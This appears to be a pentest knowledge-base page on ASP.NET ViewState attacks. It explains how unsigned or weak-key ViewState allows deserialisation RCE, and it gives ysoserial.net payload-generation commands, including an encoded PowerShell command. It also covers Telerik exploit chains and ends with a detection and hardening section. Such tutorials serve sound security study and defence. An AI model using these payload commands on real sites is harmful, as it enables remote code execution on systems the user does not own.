ASP.NET ViewState attacks
TL;DR: Unencrypted or weak-key ViewState — deserialise to RCE, or tamper to alter server-side state.
What it is
ASP.NET Web Forms persists per-control state across postbacks in a hidden __VIEWSTATE field. The server serialises a LosFormatter graph, base64-encodes it, and sends it to the client. The client returns it on the next request and the server deserialises. The machineKey controls how the field is signed (and optionally encrypted). If you know or guess the key, or the field is unsigned, you author a serialized payload whose deserialisation triggers RCE — this is the classic ysoserial.net use case.
Preconditions / where it applies
- Target uses ASP.NET Web Forms (
.aspx, hidden__VIEWSTATEfield present) EnableViewStateMacdisabled (CVE-2014-4078 era — explicitfalsein config) or- Default / leaked / weak
machineKey(decryption key, validation key, algorithm) - Older .NET targets where
LosFormatter/ObjectStateFormatterwere not constrained
Technique
Identify. Fetch the page; if response contains <input type="hidden" name="__VIEWSTATE" value="…">, this is a Web Forms app. The query string __VIEWSTATEGENERATOR reveals the page-specific generator (combined with MachineKey to compute the MAC).
Unkeyed ViewState (no MAC). Pre-2014 apps and apps with enableViewStateMac=false. Generate a payload with ysoserial.net:
1
2
ysoserial.exe -p ViewState -g TextFormattingRunProperties \
-c "powershell -e SQBFAFgAIA..." --isdebug
POST it as __VIEWSTATE; the server deserialises, gadget runs, you have RCE as the AppPool identity.
Known machineKey. Sources include leaked web.config, default keys in misconfigured stacks, keys recovered from public source dumps (Telerik UI for ASP.NET AJAX leaked keys list). Supply the key and the page-specific generator:
1
2
3
4
5
ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "cmd.exe /c calc" \
--path="/page.aspx" \
--apppath="/" \
--decryptionalg="AES" --decryptionkey="…" \
--validationalg="HMACSHA256" --validationkey="…" --generator="<gen>"
Encode and send. Successful execution typically returns 500 with a deserialisation error mentioning your gadget chain — that’s the canonical signal.
Telerik UI for ASP.NET AJAX (CVE-2019-18935 and related). RadAsyncUpload encrypted upload handler used a hardcoded fallback key list — ysoserial.net + the Telerik exploit chains give straightforward RCE on thousands of public targets.
Related: deserialisation for the broader gadget concept, rce-class for downstream privilege framing.
Detection and defence
- Keep
enableViewStateMac="true"(cannot be set false on supported .NET versions) - Rotate
machineKeyper environment; never commit to source; never copy between apps - Use AES
validation/decryptionalgorithms; long random keys - Encrypt ViewState (
viewStateEncryptionMode="Always") on pages handling sensitive state - Patch Telerik UI to current; rotate ASP.NET keys immediately if old Telerik was ever deployed
- IDS/WAF on absurdly large
__VIEWSTATE(gadget chains are large), and on__VIEWSTATEGENERATORmismatches
References
- Soroush Dalili — Exploiting deserialisation in ASP.NET via ViewState — comprehensive walk-through
- ysoserial.net — payload generator
- Microsoft — ASP.NET ViewState overview — defensive context